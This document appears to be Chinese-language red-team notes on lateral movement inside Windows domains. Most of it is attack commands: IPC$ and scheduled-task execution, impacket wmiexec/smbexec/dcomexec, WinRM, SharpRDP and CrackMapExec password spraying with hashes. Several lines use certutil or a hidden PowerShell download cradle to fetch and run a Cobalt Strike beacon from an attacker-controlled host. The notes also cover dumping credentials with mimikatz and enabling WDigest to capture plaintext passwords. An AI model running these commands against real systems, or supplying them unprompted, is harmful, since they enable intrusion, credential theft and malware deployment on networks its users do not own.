横向移动-1

域外用户

1,尝试提权(system)

2,获取域内用户(枚举)及凭据
https://github.com/ropnop/kerbrute

Minikatz
https://github.com/ParrotSec/mimikatz
当系统为win10或者2012R2以上,内存中默认禁止缓存明文密码
可通过修改注册表的方式进行抓取,但需要重启后重新登录1时才能抓取

windows 2012以上默认关闭了Wdigest,所以攻击者无法通过内存获取明文密码
针对以上情况,四种解决办法:
1,利用(PTH,PTK)等进行移动,不需要密码
2,利用其他服务协议(SMB/WMI 等进行哈希移动)
3,利用注册表开启(wdigest auth)进行获取
4,利用工具或者第三方平台(HASHCAT进行破解获取)

IPC域内移动

IPC是共享“命名管道”的资源,它是一个用于程序通讯的开放管道,通过提供一个可信的用户和密码,连接双方可以建立一个安全通道并通过这个通道交换加密数据,从而实现对远程计算机的访问。需要使用目标系统用户的账户密码,使用139,445端口
1,建立IPC链接到目标主机
2,拷贝要执行的命令脚本到目标主机
3,查看目标时间,创建计划任务(at,schtasks)定时执行拷贝到的脚本
4,删除IPC链接
建立失败原因:
1,目标主机不是NT或以上的操作系统
2,对方没有打开IPC$共享
3,对方未开启139,445端口,或者被防火请屏蔽
4,输出命令,账号密码有错误

IPC$利用命令:

1
2
3
4
5
6
7
net use \\server\ipc$ "password" /user:计算机名\username #工作组
net use \\server\ipc$ "password" /user:domain\username #域内
dir \\xx.xx.xx.xx\C$\ #查看文件
copy \\xx.xx.xx.xx\C$\1.bat 1.bat #下载文件
copy 1.bat \\\\xx.xx.xx.xx\C$ #复制文件
net use \\xx.xx.xx.xx\C$\1.bat /del #删除IPC
net view xx.xx.xx.xx #查看对方共享

域内用户权限:webadmin权限

1
2
net use \\ip\ipc$ "密码" /user:计算机名\administrator
net use \\ip\ipc$ "密码" /user:domain\username

域外用户权限:administrator权限

1
2
net use \\ip\ipc$ "密码" /user:计算机名\administrator
net use \\ip\ipc$ "密码" /user:domain\username

at & schtasks 计划任务配合

1,at < Windows2012

1
2
copy beacon,exe \\192.168.3.21\c$ #拷贝执行文件到目标机器
at \\192.168.3.21 15:47 c:\beacon.exe #添加计划任务

2,schtasks >=Windows2012

1
2
3
4
copy beacon,exe \\192.168.3.32\c$ #拷贝执行文件到目标机器
schtasks /create /s 192.168.3.22 /ru "SYSTEM" /tn beacon /sc DAILT /tr c:\beacon.exe /F # 创建beacon任务对应执行文件
schtasks /run /s 192.168.3.32 /tn beacon /i #运行beacon任务
schtasks /delete /s 192.168.3.32 /tn beacon /f #删除beacon任务

impacket

https://github.com/fortra/impacket
atexec.py连接(Socks代理下)

1
2
python atexec.py ./administrator:密码@IP "ver"
python atexec.py -hashes : 密码hash ./administrator@IP "whoami"

WMIC

从win2003开启一直存在,它原本的作用是方便管理员对windows主机进行管理。因此在内网渗透中,我们可以使用WMI进行横向移动,支持用户明文或者hash的方式进行认证,并且该方式不会在目标日志系统留下痕迹
利用条件:
1,WMI服务开启,端口135,默认开启
2,防火请运行135,445等端口通信
3,知道目标机的账户密码或HASH
利用:

1.wmic

使用目标系统的cmd.exe执行一条命令,将执行结果保存在C盘的ip.txt文件中,

1
WMIC /node:192.168.159.130 /user:test\administrator /password:admin123! Process Call Create "cmd.exe /c ipconfig >c:\ip.txt"

建立ipc$后,使用type命令读取执行结果,具体如下

1
2
net use \\192.168.1.3\ipc$ "Admin!@#$4321" /user:administrator
type \\192.168.1.3\C$\ip.txt

或者上传后门文件

1
2
WMIC /node:192.168.159.130 /user:test\administrator /password:admin123! Process Call Create "certutil -urlcache -split -f http://192.168.3.32/beacon.exe c:/beacon.exe"
WMIC /node:192.168.159.130 /user:test\administrator /password:admin123! Process Call Create "c:/beacon.exe"

impacket工具包中的wmiexec
Impacket-windows工具包下载地址:https://github.com/maaaaz/impacket-examples-windows

1
wmiexec.exe hacke/administrator:Admin!@#$4321@192.168.1.2

或者wmiexec.py文件

1
2
3
python wmicexec.py test/administrator:admin!@#123@192.168.2.32
python wmicexec.py test/administrator:admin!@#123@192.168.2.32 "whoami"
python wmicexec.py -hashes :517b96ad4178a5369dc997aa02d455c test/administrator@192.168.2.32 "whoami"

下载后门

1
python wmiexec.py test/admininstrator:admin!@123@192.168.2.32 "certutil -urlcache -split -f http://192.168.3.32/beacon.exe c:/beacon.exe"

执行后门

1
python wmiexec.py test/admininstrator:admin!@123@192.168.2.32 "c:/beacon.exe"

2.cscript(没啥用)

Wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec功能。wmiexec.vbs可以在远程系统中执行命令并进行回显,获得远程主机的半交互式shell

下载地址:https://github.com/k8gege/K8tools/blob/master/wmiexec.vbs 这里有个坑,不能直接用wget下载,需要直接把代码复制下来编辑成.vbs文件

1
2
3
4
5
6
7
8
9
10
1、半交互模式
cscript.exe //nologo wmiexec.vbs /shell ip username password
cscript.exe //nologo wmiexec.vbs /shell 192.168.1.1 administrator Admin!@#$4321
2、单命令执行
cscript.exe wmiexec.vbs /cmd ip username password "command"
cscript.exe wmiexec.vbs /cmd 192.168.1.1 administrator Admin!@#$4321 "ipconfig"
3、wce_hash注入
如果抓取的LM hash是AAD3开头的,或者是No Password之类的,就用320代替LM hash
wce -s hash
cscript.exe //nologo wmiexec.vbs /shell ip

获得一个半交互模式shell

3.Invoke-WmiCommand

Invoke-WmiCommand.ps1脚本包含在PowerSploit工具包很难过。该脚本主要通过powershell调用WMI来远程执行命令,本质还是在利用WMIs

1
2
3
4
5
6
7
8
9
10
//目标系统用户名
$User = "hacke\administrator"
//目标系统密码
$Password= ConvertTo-SecureString -String "Admin!@#$4321" -AsPlainText -Force
//将账号和密码整合起来,以便导入Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCreadential -ArgumentList $User , $Password
//远程执行命令
$Rmote=Invoke-WmiCommand -payload {ipconfig} -Credential $Cred -ComputerName 192.168.1.1
//将执行结果输出到屏幕上
$Remote.PayloadOutput

4.Invoke-WMIMethod

Powershell自带的Invoke-WMIMethod可以在远程系统中执行命令和指定程序

1
2
3
4
5
6
7
8
//目标系统用户名
$User = "hacke\administrator"
//目标系统密码
$Password= ConvertTo-SecureString -String "Admin!@#$4321" -AsPlainText -Force
//将账号和密码整合起来,以便导入Credential
$Cred = New-Object -TypeName System.Management.Automation.PSCreadential -ArgumentList $User , $Password
//远程执行命令
Invoke-WMIMethod -Class Win32_Process -Name Create -ArgumentList "calc.exe" -ComputerName "192.168.1.1" -Creadential $Cred

5.crackmapexec

1
crackmapexec 192.168.1.1 -u administrator -p Admin!@#$4321 -x "net user test test /add"

6.smbexec

smbexec可以通过文件共享(admin$、C$、ipc$、d$)在远程系统中执行命令,使用的时候,目标系的共享必须试开放的错c 、ipc、admin
C++版smbexec的下载地址https://github.com/sunorr/smbexec
1、工具使用

  • test.exe:客户端程序
  • exec server.exe:目标系统中的辅助程序
    2、使用方法
    将execserver.exe上传到目标系统的C:\windwos\目录下,接触UAC对命令执行的限制。在命令行环境中执行如下命令
1
net use \\192.168.1.3 "Admin!@#$4321" /user:HACKE\administrator

之后在客户端的命令行环境中执行如下命令s

1
test.exe 192.168.1.3 administrator Admin!@#$4321 whoami c$

VS2019编译的时候有问题,没编译成exes
impact 工具包中的smbexec.exe
这里依旧使用windows下编译好的smbexec.exe这里要注意的有两点,一个是\是为了转义而添加的,二是在密码处可以用双引号阔起来。这里因为在Windows下测试的,没有出现这个情况

1
smbexec.exe HACKE/administrator:Admin!@#$4321@192.168.1.1

DOM

DCOM(分布式组件对象模型)是微软的一系列概念和程序接口。通过DOCM,客户端程序对象能够向网络中的另一台计算机上的服务器程序对象发送请求。
DCOM是基于组件对象模型(COM)的。COM提供了一套允许在同一台计算机上的客户端和服务器之间进行通信的接口(运行在Windows95及之后版本的操作系统中)
条件:
1,使用目标Win7系统以上
2,管理员权限PowerShell
3,远程主机防火强未阻止
dcomexec-impacket

1
2
3
python dcomexec.py test/administrator:admin!@#123@192.168.3.32
python dcomexec.py test/administrator:admin!@#123@192.168.3.32 whoami
python dcomexec.py test/administrator:admin!@#123@192.168.3.32 whoami -hashes :517b96ad4178a5369dc997aa02d455c

WinRM&WinRS

WinRM(Windows Remote Management), Windows远程管理,WinRM允许远程用户使用工具和脚本对Windows服务器进行管理并获取数据。Server2008 R2中默认开启该服务,Server2012开始,该服务便集成在系统中默认开启,家庭版的电脑是默认关闭的这种远程连接不会被客户端察觉到,也不会占用远程连接数!

WinRM端口:
HTTP是5985端口进行通信
HTTPS 是5986端口来进行通信

对方防火墙关闭,或者允许WinRM端口进行通信

开启WinRM服务
有俩种方式:

  • powershell 运行 enable-psremoting
  • cmd运行winrm quickconfig

通过winrs来执行远程命令

winrs:

1
2
3
4
winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig" 
winrs -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "ipconfig"
winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx cmd
winrs -r:https://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx c

winrm.cmd

上线C2:

1
winrs -r:http://127.0.0.1:5985 -u:机器名\用户名 -p:xxxxx "cmd.exe /c certutil -urlcache -split -f http://192.168.3.32/beacon.exe beacon.exe & beacon.exe" 

winrm.cmd

CS上:

1
shell winrm invoke Create wmicimv2/win32_process @{CommandLine="cmd.exe /c certutil -urlcache -split -f http://192.168.3.32/beacon.exe beacon.exe & beacon.exe"} -r:机器名 -u:机器名\用户名 -p:密码

powershell:

1
2
3
Invoke-Command -ComputerName TARGET -ScriptBlock { dir c:\ }
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -command {Get-Culture}
Invoke-Command -ComputerName TARGET -Credential 域名\用户名 -ScriptBlock {Get-Culture}

如果报错,运行此命令

只需要输入下面指令注册一下即可

1
winrm set winrm/config/Client @{TrustedHosts="*"}

RDP

远程左面服务,支持明文及HASH连接
条件:目标主机开启RDP服务,远程桌面,获取了明文或HASH密文
端口:3389
mstsc.exe

1
2
tasklist /svc | find "TermService" #找到对应服务进程的PID
netstat -ano | find "PID值" #找到进程对应的端口号

端口转发映射(不可取)
使用HTTP隧道,将对方3389端口绑定到本地2222端口
alt text
连接本地的127.0.0.1:2222端口
alt text
将获取的账户密码进行登录
alt text

SharpRDP(比较鸡肋)
在不通过 GUI 客户端和 Socks 代理的情况下,基于 RDP 协议进行横向移动。
https://github.com/0xthirteen/SharpRDP ,下载后直接用 Visual Studio 编译运行即可。
C2上线

1
2
SharpRDP.exe computername=ip command="powershell.exe -nop -w hidden -c \"IEX ((new-object net,webclient).downloadstring('http://ip:83/a'))\""
username=用户名 password=密码

CrackMapExec-密码喷射

https://github.com/byt3bl33d3r/CrackMapExec
下载对应release,建立socks连接,设置socks代理,配置规则,调用!
1,Linux Proxychains使用
代理配置:Proxychains.conf
代理调用:Proxychains命令
2,密码喷射-域用户登录PTH:

1
参数:-u 用户 ,-p 密码,-H 哈希值,-d 指定域,-x 执行命令

主要功能:多协议探针,字典设置,本地及域喷射,命令回显执行等

1
proxychains4 crackmapexec smb 192.168.3.21-32 -u user.txt -H 518fa788f8878dc788faa89889c #域用户HASH登录
1
2
#上线C2
proxychains4 crackmapexec smb 192.168.3.21-32 -u user.txt -H 518fa788f8878dc788faa89889c --local-auth -x "cmd.exe /c certutil -urlcache -split -f http://192.168.3.32/beacon.exe beacon.exe & beacon.exe"